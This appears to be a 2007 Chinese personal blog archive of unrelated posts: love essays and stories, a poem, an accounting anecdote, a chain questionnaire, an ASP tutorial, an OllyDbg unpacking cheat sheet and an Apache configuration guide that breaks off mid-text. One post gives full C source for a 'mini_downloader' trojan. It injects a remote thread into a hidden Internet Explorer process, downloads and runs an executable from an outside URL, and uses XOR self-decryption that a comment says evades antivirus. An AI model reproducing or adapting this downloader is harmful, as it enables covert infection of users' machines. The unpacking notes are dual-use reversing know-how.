这几天都在看这幸福的一家,从小孩子出生到现在三岁多,天天都会拍小丫头的照片发出来让大家看,才发现我离摄影还远着了,这周登了两天的山,先登上杭州的北高峰,在过美人山,然后直穿石人岭,用了近五个小时,回来脚都起了个水泡,不过玩的真的很开心,这他一比我拍的照片都不敢拿出来让大家看了,等俺拍的技术不错的时候在拿出来让大家看看,呵,在过几天继续登山

十月 31st, 2007

Posted In: 未分类

两年前大学毕业后我到浙江工作,我是个典型的四川女孩,娇小,精干,当然也还算漂亮。我是为了逃避家里那两个没有多少感情的却又最亲的人,也为了躲避让我生厌的世俗才独自离家的。我知道他们也是不舍的,只是拗不过我。动用关系给我联系了工作,最后对我的忠告是:钱能解决的问题就不是问题,玩够了就回来。
  在这边他是我认识的第一个朋友,我们对彼此的印象都还好。一段时间后他叫我做他女朋友,我知道他以前是个折不扣的花花公子,我是排斥这种人的,但我接受了他。我天生喜欢挑战,也乐意征服一个浪子,玩玩嘛,谁玩不起呢?我相信他最初也是抱着玩的态度。
  一年多,我们分分合合,关系既明朗又深沉,象是两个各自打着小算盘的商人,互利互惠,合作愉快。我能在他身上得到体贴呵护,他能在我身上得到开心快乐。我们都是懂得自保的人,因为我们怕受伤害。我们自翊是在激情中玩感情的人,以为这样就是时尚,这样就不会受伤害,殊不知何时已双双坠入对方的情网,而且陷得很深。当爱情出现时,我们就有点无所适从了,有了爱情就要想以后,有了以后就要想结婚,想结婚就需要解决很多问题。
  他说,他想找个合适的人结婚了。
  合适?指哪些方面呢?
  他问我,你爸能给你一百万在杭州买个房子吗?
  我就愣了,先不说多少钱的问题,就算我们要结婚难道不该是一家出五十万吗?
  他又说,他父母是很势利的人,不喜欢外地人。
  我又傻了,外地人怎么了?我又不是外星人。
  他还说,家里要买个多少钱的车。
  我开始沉默。是的,我们的中心一下子从情情爱爱变成金钱利益,一下子从不识人间烟火变成琐碎的柴米油盐,这就是恋爱和婚姻的区别吗?
  说实话,我不喜欢他身上的铜臭味,我不习惯他的现实,我也不接受杭州人的思维方式。我生活在缺乏爱的家庭,我想要的只是爱,只是一个可以全心全意,不顾一切爱我的男人。
  于是我告诉他,我家很穷,我爸妈没钱,我们的爱情还要不要了?
  他似乎努力镇定了一会儿,说,要,那我们再坚持坚持吧。
  其实所有的一切都已经改变了,只是我们还在维持着最后的并不洒脱的洒脱。就象一辆紧急刹车的车子,惯性还是会向前再滑一段。我们的爱情似乎在他那里也已经紧急刹车了。
  终于,他跟我说分手了,他说太辛苦压力太大。
  我说再坚持坚持啊,一切都会好的。
  他说要是坚持了还是很辛苦,那还不如早点放手。
  我的心空空的,象飘在空中的气球,着不到天也落不了地。那时我才知道,我不是个玩得起的人,我更不是个专业的玩家,或许从接受他的那一天开始,就注定这场金钱与爱情的考验并不好玩。我是个极端的人,也是个维美的人,在我眼里,爱情是最神圣的,容不得任何东西玷污的,特别是金钱。但是,我也知道,我是真的爱上了他。爱上他以后的所有后路,就是他也真心爱我。
  我不确定,我不知道,在他心里好象还有很多更重要的东西。虽然我知道他也爱我,但是那种爱似乎可以被很多东西取代,甚至摧毁。
  对,钱能解决的问题就不是问题。或许,我爱得不够深吧,或许,还有很多其它的问题吧。于是我决定放手,决定死心,也决定离开。要一场不确定的爱,爱一颗不确定的心,我也撑不下去。
  离开之前我还想再见他一面,这个我最爱,又最想恨的男人。给了我无限的幸福,也给了我不尽的痛苦。回想两年来所发生的一切,原来我们从一开始就已经死死的纠缠在一起了,假也好,真也好,都是那么刻骨铭心。我需要他最后的亲吻,最后的拥抱,最后的微笑,最后的祝福。。。。。。或者,最后的挽回。只需要再告诉我,没有我什么都不重要了,没有我就不开心。哪怕是骗骗我,哄哄我也行啊,那样我们就可以得到彼此想要的然后幸福的在一起了。
  他没有,他一如既往的决绝,虽然他哭了,他说一刻也没有忘记我,怕再看见我徒留伤心。但是他还是叫我回去,还是说压力太多太辛苦,还是说什么机会都没有了,还是说我们两个人不能在一起。
  这就是杭州人的现实,钞票才是决定一切的,光有爱情太单薄了,单薄到可以不负一点责任,不留一丝余地。我的报复心就是在再次被金钱侮辱和挑衅的那一刻被激发的。
  你真的觉得跟我在一起会受苦吗?!我反问他。我的心已经冰冷了。爱情,我所向往的单纯的简单的爱情,在他的拜金思想之下早已粉身碎骨。
  他看出我的不屑和反击,聪明的他也一下子明白了我的意思,交往两年不可能一点不知道我的底子。
  你家里不穷是吧?你之前是骗我的是吧?你为什么要骗我啊?他有些失控的看着我,冷笑。
  还重要吗?我们的出发点不同,你要的是钱,我要的是爱情,这就注定了我们今天的悲剧。你为什么就不能不顾一切的爱我呢?你为什那么现实呢?你为什么觉得我会拖累你呢?我狠狠的责问他,也拷问自己。我象个女王一样昂着头,语气里夹杂着轻蔑。我也想象他一样决绝,我也想占一次上风。
  我怎么会不爱你呢?我怎么就不爱你呢?我只是看不见我们的前途和未来,不想你嫁到我们家受气,不想你跟着我受苦。是,我是把钱看得很重,没有钱我能让你过得好吗?没有钱我们真能幸福吗?这里是物欲横流的杭州啊!你知不知道,跟你分开就是不想让现实生活毁了我们的爱情啊!我。。。。。。我再混蛋,我也从来没骗过你呀。他哭了,抓住我的手颤抖的贴在他的左胸前。
我终究是不够洒脱和决绝的,我报复完了就该漂亮的转身,留下这个势利的男人后悔一辈子呀。
  原来最开始,我就已经是游戏的失败者,因为我爱上了他,爱上他的代价就是变得不自信,变得怕失去他,怕他不爱我。他后来的不坚定,不坚持,不坚强也是我一直不敢坦白的原因。我看不见爱的本质,仿佛只有残酷而不堪的他所谓的现实。
  原来,我只是那么在乎他爱不爱我,在乎到哪怕是下地狱,都无所谓了。我的心痛了,碎了,转眼间从一个胜利的女王变成万劫不复的罪人,我偏执的报复就这样伤透了两个人的心。那是一种从来没有的恐惧和害怕,就象是死刑犯被执刑前的死寂,不敢想结果,已经没有结果,或者唯一的结果,就是死。
  我们不是没有缘分,能从那么远的地方相识,相知,相爱,已经是最大的缘分了。只是我们都没有珍惜缘分,一次次让它错过了。如果我们都对自己有信心一点,如果我们都对对方有信心一点,那也不会是现在痛苦而无言的局面了。他的现实,我的梦幻,我们其实都生活在自己的圈子里,只待自生自灭。
  我开始置疑一句曾经很相信的话——只要两个人想在一起就一定能在一起。对,这句话多么感人,多么伟大,多么让人振奋。但我要告诉相信这句话的人,所谓的在一起只是谈恋爱,只是耍朋友。想在一起就在一起是很简单的事情,但想结婚就结婚才是最困难的事情。我也开始置疑那些随便就可以说永远给承诺的人,如果不能给对方幸福和快乐,就算在一起也只是打着爱情的名义进行最残忍的折磨。
  我也变得现实了,因为我不得不承认我也是世俗中的人。不是不再相信爱情,而是明白了现实的爱情可能才更能长久,也才能功德圆满。坚持爱情的人,并不一定高尚,高尚的是能把爱情放在最干净的角落里的人。
  杭州,这个不相信爱情的地方,这个太过于现实的地方,没有谁辜负了谁,也没有谁放弃了谁,只有谁,能拯救谁。
  某年某月某一天,我们在自己编制的幻梦里纠结,某年某月某一天,我们在自己丢失的爱情里沉沦。
  拿什么拯救你,我的爱情?

十月 26th, 2007

Posted In: 未分类

牵手是一种方式,
  恋爱是一种形式。
  曾经行走在这种方式与形式同存的时空中,
  我们彼此感受指尖释放的温度,
  那时,
  你说我爱你。
  
  你爱咖啡,我爱茶。
  你贪恋浓郁的味道,
  我喜欢甘美的感觉。
  你说天使与海豚只是首歌,
  我说,不,那是我的信仰。
  
  一直以来我穿梭在神话的隧道中,
  奇迹,这注定是我仰望并终身相信的。
  你说无神,
  我说有佛。
  其实都一样,
  只是我们都固执。
  
  分手必然在牵手之后,
  你失信在对我的伤害中,
  我明白其实没有理由,一切都只是借口。
  你说如果不在乎你不会分手,
  那么牵手又是为了什么?
  
  是的,我必须尊重你,
  因为手不是我一个人的。
  因为我死心塌地的爱着你。
  是的,我无法责怪你,
  因为决定牵手的是两个人,
  因为决定分手只需要一个人。
  
  分手、孤单、思念,
  另一种方式,
  另一种形式,
  眷念着你掌心的温度,
  不知明天是否还能相信奇迹……

十月 26th, 2007

Posted In: 未分类

我刚开始学习成本会计的时候,老师曾出过一道小题目:

某人廉价购进一批质地优良的汗衫,去阿拉伯沙漠地区出售。部:这趟买卖大约包含哪几项成本?同学们随口应答:本金、运费、房屋租赁费、食宿费等。

老师微笑着,似乎还在期待什么。同学们窃窃私语,互相商量着,又勉强列出几种“成本”:税金、意外损耗等。
老师说话了:诸位谁见过阿拉伯人穿着汗衫到处跑的?那儿的太阳很毒,外出的人们基本上是袭长袍,头上还扎着布。别以为热的地方,人们就一定得穿汗衫。

同学们恍然大悟:那就滞销啦,卖不掉!

老师:所以,最大的成本你们没有说,那就是——无知。

这使我想起一则小故事:美国某企业一台重要机器出了故障,遍查不着真正原因。最后,请来著名工程师解难。一小时后,他在电机的铜线上画了道线,说:除去一圈铜线就行了。试后问题果然解决!业主问工程师需要多少酬金。他说:1000美元。业主吃惊:画道线就值1000美元么?他笑道:不,画道线只值1美元;而知道在何处画,值999美元。以成本会计的角度看,工程师最后一句似乎可以修改为:画一道线的成本是1美元;知道在何处画线的成本是999美元。

十月 25th, 2007

Posted In: 未分类

一次商务洽谈会,双方代表围坐在圆桌前商谈事宜,她同往常一样做会议记录,当她拿起纸杯轻呷一口茶时,鲜红的唇印印在了杯沿上,她十分不好意思地将沾了口红的那一面转向自己。
  这一幕被对方的女秘书发现了。她去洗手间,碰见了那个女秘书:“你口红的颜色很漂亮,可惜印在杯上就不太雅观了,我们做秘书的代表一个公司的形象,是不可以用那些廉价口红的。”
  对方转身关上门的瞬间,泪水从她脸上流了下来。婚后,为了住上更舒适的房子,赚钱成了生活的重心,她的衣饰和化妆品只占了日常开销的极少一部分,口红多是10元左右一支的,她从没在乎过它的价格,但是今天,她严重地感觉到自尊心受挫。
  她没有跟丈夫讲起这件事,只是在心里开始埋怨他的无能,她同他可说的共同语言越来越少了。
  一天,她同他路过一家豪华商场,正巧搞化妆品促销,热情的小姐拉住了她介绍一款法国知名品牌的口红,口红涂在她的嘴上生动靓丽,最大的优点是不褪色、不沾杯,这令她十分心动,她几乎下定了决心要买它。他看出了她的心思,掏出皮夹问价钱,小姐说活动期间8折销售388元。他的手突然停在了那里。他看了她一眼,她立即有一种受伤的感觉,转身挤出人群,他在后面追她,她和他发生了第一次最伤彼此自尊心的争吵。一支口红,让她觉得她和他的婚姻走到了尽头。
  他们离了婚。后来,她嫁给了一个商人,结婚那天,前夫送给了她一份礼物,她没有拆开便将它放进了抽屉的角落。新的婚姻带给她极大的物质满足,她终于过上了她想要的生活,从衣服到化妆品没有一样不是名牌。有一天,她从丈夫的衬衫领口发现了一个鲜红的唇印,所有关于丈夫晚归的谜底都揭开了。她质问丈夫,丈夫一把推开她厌烦地说:“你安心做你的太太就行了,别的事最好少管,不要耍你的高傲,你当初同我结婚还不是看上我的钱。”他摔门而去,许多天都没有回来。她在丈夫眼里不过是个寄生虫。
  她失去了她的第二次婚姻。
  整理衣物时,她发现了再婚时被她扔进抽屉的那件礼物,她拆开包装,竟是那天她同他在商场看上的那支口红。卡上写着:我从没想过我们分手竟是因为一支口红,但是现在再说这些已没有任何意义,还是祝福你新婚快乐吧,愿这支口红带给你好运。
  后来,她在一次电视专访中看到了他,他已是国内有名的化妆品经销商。主持人问他为什么用口红做主打品牌时?他无限地伤感:“因为没有人知道,我曾因一支口红失去了一段婚姻。那支口红其实只要388元,但是当时我很穷,没能给她买。我不知道那支口红对她的意义,她曾因一支廉价的口红唇印印在杯沿而遭人耻笑,这极大地伤害了她的自尊心,所以对那样一支不沾杯的口红是十分向往的,我不知道,直到她再婚的前一天才听她的一个好友说起,所以我买了那支口红给她,但是一切都太晚了,她已经是别人的太太了,从那天起,我便决定经销口红,一种不沾杯但能被大多数女孩子买得起的口红……”
  泪水一滴一滴落在他送给她的那支口红上。

十月 25th, 2007

Posted In: 未分类

午后,慵懒的阳光洒落地面,

纵长路上,男孩骑车载着女孩…..

[你会爱我多久?]

女孩紧抱着男孩,侧着头在他耳边这样甜甜的问,

她知道,这个问题没有100分的答案。

带着娇嗔的轻笑,

她说:「给你一个说甜言蜜语的机会。」

男孩却认真的思考了起来。

趁着红灯停止的机会,他举起手比了个“一”

要女孩猜猜他的答案是什麽。

女孩想了一想,快乐的说:「一辈子!」

男孩笑了,并不是因为她答对,而是感染了她的喜悦。

绿灯了,男孩不仅趋车面对现实,也收敛起笑容,

轻轻的告诉女孩:

「我不会给这种答案的,这样的答案好到不真实了,像在说谎..再猜猜..」

女孩对男孩的说法很满意,於是歪者头继续想..

「一天?」

「呵呵,我们已经相恋两个月了,

一天、一星期、一个月这些都不成立喔!」

又是红灯,男孩握住女孩的手,微笑的看着她,

女孩窃笑,大声的说「不会是一瞬间吧?」

这个答案让男孩差点笑倒在马路上「当然不是啦!」

他一直深爱着女孩的幽默,深爱着女孩爽朗的笑容,

这个答案让他更紧握住女孩的手….

「一年吗?」曾经有过一年时间等待的承诺,

使得女孩对一年这个答案特别敏感。

男孩摇摇头,

他们之间已经不需要等待,只剩时间的考验…….

「一百年好了,爱我一百年就够了。」

女孩说着,并表现着幸福的模样。

男孩说「一百年太短了吧,不够我爱你啊!」

甜言蜜语是男孩的专长,爱听甜言蜜语却是女孩的弱点….

女孩笑了,轻铃的笑声让男孩闯了红灯….

「想要听答案了吗?」男孩想说了,

而女孩想听「我会爱你多久呢?」

男孩手比着一说:

「一…….一直到你不再爱我的那一天…….」

女孩怔了…… 一直到你不再爱我的那一天……

十月 25th, 2007

Posted In: 未分类

今天有个朋友介绍给我这个游戏,一开始竟然没有看出来到底是怎么玩 。。。
规则如下 :

被点到名字的要在自己的空间或博客或MSN SPACE里写下自己的答案,然后去掉一个你最不喜欢的问题再加上一个你的问题,仍然组成N个问题,传给其他9个人,列出其他9个需要回答问题的人的名字,还要给9个人留言通知对方——你被点名了,被点名者不得拒绝回答问题 这9个人要注明是从哪里接到的,并且再传给其他9个人,让游戏继续下去,不得回传。被点到名字的人将会得到大家的祝福,并且所有美好的愿望都会在不久的将来实现.

不知道是幸运还是不幸运,我也被点名了.被留点回忆点名了
1.你认为分手后的男女朋友还能做普通朋友吗?
能,有个朋友说分手后不能做朋友,因为仳此伤害过,不能做敌人,因为仳此相爱过,这只是给自己一个逃避的机会,不敢去面对,我认为可以做朋友,还能做很好的朋友,要看你是什么心态去做这个朋友。

2.你有一辈子的朋友,并且肯定他(她)也这样看你么?
会的。 任何一个人都会有一辈子的朋友
3.最受不了自己的哪个缺点?
太信别人,认为别人都和我一样的想法 。

4 .你的朋友做了对不起你的事,你怎么办?
我不是孔子,孔子也有错的时候,何况是我们了

5.遇到喜欢的人,你是勇敢表白还是默默关注?
当然是表白了,这有什么,怕就怕自己喜欢的人一辈子不敢去表白,死了都还不知道是为什么

6 . 说出点你名的人的3个优点(不可删除题)
重情重义 成熟 有很强的责任心

7.什么样的异性能成为你的伴侣?
只要我自己看上去对她很有感觉的 。

8.有没有一件事,一直之感动着你?
有的

9 . 爱人爱到怎样的程度才算是超过爱自己呢?
觉的这个人就是你今生的唯一的时候。

10 . 常做梦吗? 有没有做过彩色的梦?
不常做梦,更没有梦到这样的

11. 你相信这世上真有你完美的另一半吗?
肯定信了,一个人生下来就注定要找另一半两人过一辈子的

12. 你觉得你长这么大了,到底知不知道你究竟想要什么?
知道的,我有自己的目标,也有自己的规划,能不能实现只是另一个问题

13.你觉得自己什么时候最开心?
和自己爱的人在一起,和家人在一起,和朋友在一起

14. 你有没有从梦中哭醒过?

梦中我哭过可没有哭醒过

15. 你愿意做一个强势的女人吗?/你愿意娶一个强势的女人吗?
这个没什么,好强是人的本性

18 .你满意你的现状吗?
离我的目标太远,没办法满意

19. 什么样的女人最幸福?
懂得真爱的女人 是最幸福的 。

20 . 多久往家打一次电话 ?
四天或是一个星期

21. 难道世上没有纯洁的男女友谊?具体谈谈 .
这年头可难说,俺只信自己

22 . 世界上的真的存在一尘不染的爱情么 ? (我自己问的)
有,肯定有,在老家我还见过

23. 如果当你知道你最爱的人快要死去的时候,会不会去看她最后一眼(当然除妻子)俺的问题:

要点名 。。。。。

小小| ↘╰*绝‰о|′.吥離、|≯囒唲≮|℡繌い潴.oΩ|love network

十月 23rd, 2007

Posted In: 未分类

定义变量dim语句

注意:定义的变量可以是数值型,也可以是字符或者其他类型的
简单的控制流程语句
1. If 条件1 then
语句1
elseif 条件2 then
语句2
else
语句3
endif
2.while 条件
语句
wend
3.for count=1 to n step m
语句1
exit for
语句2
next
二.ASP数据库简单*作教程
<1>.数据库连接(用来单独编制连接文件conn.asp)

(用来连接bbsdb1目录下的user.mdb数据库)
<2>显示数据库记录
原理:将数据库中的记录一一显示到客户端浏览器,依次读出数据库中的每一条记录
如果是从头到尾:用循环并判断指针是否到末 使用: not rs.eof
如果是从尾到头:用循环并判断指针是否到开始 使用:not rs.bof

(包含conn.asp用来打开bbsdb1目录下的user.mdb数据库)

其中response对象是服务器向客户端浏览器发送的信息
<3>增加数据库记录
增加数据库记录用到rs.addnew,rs.update两个函数
(包含conn.asp用来打开bbsdb1目录下的user.mdb数据库)

<4>删除一条记录
删除数据库记录主要用到rs.delete,rs.update
(包含conn.asp用来打开bbsdb1目录下的user.mdb数据库)

<5>关于数据库的查询
(a) 查询字段为字符型

(b)查询字段为数字型

<6>几个简单的asp对象的讲解
response对象:服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL,或设置cookie值
request对象:客户端向服务器提出的请求
session对象:作为一个全局变量,在整个站点都生效
server对象:提供对服务器上方法和属性的访问
(a) response对象的一般使用方法
比如:

在客户端浏览器就会看到 hello, welcome to asp! 这一段文字

如果执行这一段,则浏览器就会自动连接到 “搜狐” 的网址
关于response对象的用法还有很多,大家可以研究研究
request对象的一般使用方法
比如客户端向服务器提出的请求就是通过request对象来传递的
列如 :你在申请邮箱的所填写的个人信息就是通过该对象来将
你所填写的信息传递给服务器的
比如:这是一段表单的代码,这是提供给客户填写信息的,填写完了按
“提交”传递给request.asp文件处理后再存入服务器数据库
那么request.asp该如何将其中的信息读入,在写入数据库,在这里就要用到
request对象了,下面我们就来分析request.asp的写法

十月 22nd, 2007

Posted In: 未分类

单步跟踪法:

1.OD载入,不分析代码。
2.近CALL—F7,远CALL—F8,实现向下的跳转。
3.有回跳处,下一句代码处—F4 (右键—代码断点运行到所选)
4.大的跳转(大跨段,JMP***或JE***或RETN),很快就会到OEP

内存镜像法:

1.OD载入软件
2.点选项—调试选项—忽略全部—CTRL+F2重载
3.ALT+N打开内存镜像,找程序第一个.rsrc—F2下断—SHIFT+F9运行到断点,再打开找到程序第一个.rsrc上面的.code处(就是00401000处),F2下断—SHIFT+F9或无异常按F9,到OEP

模拟跟踪法:

无暗桩情况下使用
1.F9试运行,跑起来就无SEH暗桩之类的,否则就有.
2.ALT+N打开内存镜像,找到包含“=sfx,imports reloco tions”字符
3.地址=*** 命令行输入:tceip<***,回车. ESP定律法: 1.F8,观察OD右上角寄存器中ESP有没有实现(红色) 2.命令行下 DD ******(当前代码ESP值),回车 3.DD就选中下端地址,断点—硬件访问—DWORD断点,F9运行,到跳转处按F8 到DEP 最后一次异常法: 1.OD打开—点选项—调试选项—去掉所有异常—CTRL+F2重载. 2.SHIFT+F9.只到程序运行,记下次数M 3.CTRL+F2重载—按SHIFT+F9(次数为M-1次) 4.按CTRL+G—输入OE右下角的SE句柄前的地址. 5.F2下断—SHIFT+F9到断点处. 6.去断按F8,到OEP. 一步到位OEP法: 只适合少数壳,如UPX,ASPACK 1.CTRL+F—输入:POPAD.回车查找—F2下断—F9运行到此处. 2.来到大跳转处,点F8到OEP. SFX法: 1.设置OD,忽略所有异常. 2.切换到SFX选项卡,选择“字节模式跟踪实际入口”,确定. 3.重载—“否”压缩代码,到OEP.

十月 18th, 2007

Posted In: 未分类

[code] "mini_downloader"
compile by vc++ 6.0
can not run under win98;
*/
#include

#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")

//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释,可编译出2K大的文件
//#pragma comment(linker, "/merge:.data=.text")
//#pragma comment(linker, "/merge:.rdata=.text")
//#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:decrpt")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon,hkernel;

void download() //注入使用的下载函数
{
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");

(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

DOWNFILE(NULL,"http://www.testtest.ac.cn/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeen/notepad.exe","c:ieinst12.exe",0, NULL);
SHELLRUN(0,"open","c:ieinst12.exe",NULL,NULL,5);
ExitProcess(0);
};

void main() //主函数
{
//1.得到IE路径,并运行
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));

GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"program filesInternet ExplorerIEXPLORE.EXE");
WinExec(iename,SW_HIDE);
Sleep(500);

//2.得到 IE process handle
HWND htemp;
htemp=FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

//3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;

Module = GetModuleHandle(NULL);//进程映像的基址
//得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置

//4.写内存,创建线程
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
hkernel=LoadLibrary("KERNEL32.dll");
(FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");
MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行

//5.关闭对象
CloseHandle(processhandle);

return;
} ;

//解密函数
void decrpt()
{

HANDLE myps;
DWORD oldAttr;
BYTE shellcode[500];
ZeroMemory(shellcode,sizeof(shellcode));
myps=GetCurrentProcess();
::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
//先把原代码,搬移到变量中保存起来
_asm
{
pushad;
lea esi,download
lea edi,shellcode;
lea ecx,decrpt;
sub ecx,esi;
en1:
lodsb;
stosb;
dec ecx;
jne en1;
popad;

};

//解密搬回
int i;
for (i=1;i<=0xFF;i++) { _asm { pushad; lea esi,shellcode; lea edi,download; lea ecx,decrpt; sub ecx,edi; en2: lodsb; mov ebx,i; xor al,bl; stosb; dec ecx; jne en2; popad; }; //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. __try { main(); return; } __except(EXCEPTION_EXECUTE_HANDLER) { }; } return; }; [/code]

十月 17th, 2007

Posted In: 未分类

Apache服务器的设置文件位于/usr/local/apache/conf/目录下,传统上使用三个配置文件httpd.conf,access.conf和srm.conf,来配置Apache服务器的行为。 httpd.conf提供了最基本的服务器配置,是对守护程序httpd如何运行的技术描述;srm.conf是服务器的资源映射文件,告诉服务器各种文件的MIME类型,以及如何支持这些文件;access.conf用于配置服务器的访问权限,控制不同用户和计算机的访问限制;这三个配置文件控制着服务器的各个方面的特性,因此为了正常运行服务器便需要设置好这三个文件。
  除了这三个设置文件之外,Apache还使用mime.types文件用于标识不同文件对应的MIME类型, magic文件设置不同MIME类型文件的一些特殊标识,使得Apache 服务器从文档后缀不能判断出文件的MIME 类型时,能通过文件内容中的这些特殊标记来判断文档的MIME类型。
[iaspec@www conf]$ pwd
/usr/local/apache/conf
[iaspec@www conf]$ ls
access.conf httpd.conf.OLD magic.default srm.conf
access.conf.default httpd.conf.SAVE mime.types srm.conf.default
httpd.conf magic mime.types.default

  新版本的Apache将原来httpd.conf、srm.conf与access.conf中的所有配置参数均放在了一个配置文件httpd.conf中,只是为了与以前的版本兼容的原因(使用这三个设置文件的方式来源于NCSA-httpd),才使用三个配置文件。而提供的access.conf和srm.conf文件中没有具体的设置。
由于在新版本的Apache中,所有的设置都被放在了httpd.conf中,因此只需要调整这个文件中的设置。本文基于redhat 7.2 下的httpd.conf为例,解释Apache服务器的各个设置选项,当然,其配置方法可扩展到几乎所有unix系统。

虽然Apache提供设置的参数很多,基本上这些 参数都很明确,也可以不加改动运行Apache服务器。但如果需要调整Apache服务器的性能,以及增加对某种特性的支持,就需要了解这些设置参数的含义。

需要指出的是,除了操作系统的性能调整之外,Apache 服务器本身的缺省配置绝不是最优化和最高效的,而是要适应几乎所有种类操作系统、所有种类硬件下的设置,多平台的软件不可能为特定平台和特定硬件提供最优化的缺省配置。因此要使用Apache的时候,性能调整是必不可少的。
本文目录快速访问:
httpd.conf基本配置与性能优化的关系
另外一些加速方法
附录一、采用 mod_gzip 加速Apache

httpd.conf基本配置与性能优化的关系

httpd.conf中首先定义了一些httpd守护进程运行时需要的参数,来决定其运行方式和运行环境。 下面就httpd.conf中的配置参数的定义及其各种配置、优化方法进行逐项说明:
(优化没有捷径,必须首先清楚各配置的含义)

  ServerType standalone
  ServerType定义服务器的启动方式,缺省值为独立方式standalone,httpd 服务器将由其本身启动,并驻留在主机中监视连接请求。在Linux下将在启动文件 /etc/rc.d/rc.local/init.d/apache中自动启动Web服务器,这种方式是推荐设置。
  启动Apache服务器的另一种方式是inet方式,使用超级服务器inetd监视连接请求并启动服务器。当需要使用inetd启动方式时,便需要更改为这个设置,并屏蔽/etc/rc.d/rc.local/init.d/apache文件,以及更改/etc/inetd.conf并重起inetd,那么Apache就能从inetd中启动了。

  两种方式的区别是独立方式是由服务器自身管理自己的启动进程,这样在启动时能立即启动服务器的多个副本,每个副本都驻留在内存中,一有连接请求不需要生成子进程就可以立即进行处理,对于客户浏览器的请求反应更快,性能较高。而 inetd方式要由inetd发现有连接请求后才去启动http服务器,由于inetd 要监听太多的端口,因此反应较慢、效率较低,但节约了没有连接请求时Web服务器占用的资源。因此inetd方式只用于偶尔被访问并且不要求访问速度的服务器上。事实上inetd方式不适合http的突发和多连接的特性,因为一个页面可能包含多个图象,而每个图象都会引起一个连接请求,即使虽然访问人数造成教少,但瞬间的连接请求并不少,这就受到inetd性能的限制,甚至会影响由inetd启动的其他服务器程序。

  ServerRoot "/usr/local"

  ServerRoot用于指定守护进程httpd的运行目录,httpd在启动之后将自动将进程的当前目录改变为这个目录,因此如果设置文件中指定的文件或目录是相对路径,那么真实路径就位于这个ServerRoot定义的路径之下。
  由于httpd会经常进行并发的文件操作,就需要使用加锁的方式来保证文件操作不冲突,由于NFS文件系统在文件加锁方面能力有限,因此这个目录应该是本地磁盘文件系统,而不应该使用NFS文件系统。

  # LockFile /var/lock/httpd.lock

  LockFile参数指定了httpd守护进程的加锁文件,一般不需要设置这个参数, Apache服务器将自动在ServerRoot下面的路径中进行操作。但如果ServerRoot为NFS文件系统,便需要使用这个参数指定本地文件系统中的路径,以提高读写速度。

  PidFile /var/run/httpd.pid

  PidFile指定的文件将记录httpd守护进程的进程号,由于httpd能自动复制其自身,因此系统中有多个httpd进程,但只有一个进程为最初启动的进程,它为其他进程的父进程,对这个进程发送信号将影响所有的httpd进程。PidFILE定义的文件中就记录httpd父进程的进程号。

  ScoreBoardFile /var/run/httpd.scoreboard

  httpd使用ScoreBoardFile来维护进程的内部数据,因此通常不需要改变这个参数,除非管理员想在一台计算机上运行几个Apache服务器,这时每个Apache服务器都需要独立的设置文件htt pd.conf,并使用不同的ScoreBoardFile。

  #ResourceConfig conf/srm.conf
  #AccessConfig conf/access.conf

  这两个参数ResourceConfig和AccessConfig,就用于和使用 srm.conf 和 access.conf 设置文件的老版本Apache兼容。如果没有兼容的需要,可以将对应的设置文件指定为/dev/null,这将表示不存在其他设置文件,而仅使用httpd.conf 一个文件来保存所有的设置选项。

Timeout 300   
Timeout定义客户程序和服务器连接的超时间隔,超过这个时间间隔(秒)后服务器将断开与客户机的连接。如果服务器的负载较重,可适当把此数字调小。

  KeepAlive On

在HTTP 1.0中,一次连接只能作传输一次HTTP请求,而KeepAlive参数用于支持HTTP的一次连接、多次传输功能,这样就可以在一次连接中传递多个HTTP请求。

  MaxKeepAliveRequests 100

  MaxKeepAliveRequests为一次连接可以进行的HTTP请求的最大请求次数。将其值设为0将支持在一次连接内进行无限次的传输请求。事实上没有客户程序在一次连接中请求太多的页面,通常达不到这个上限就完成连接了。 可以适当将此数字调小,以获取最大速度。

  KeepAliveTimeout 15

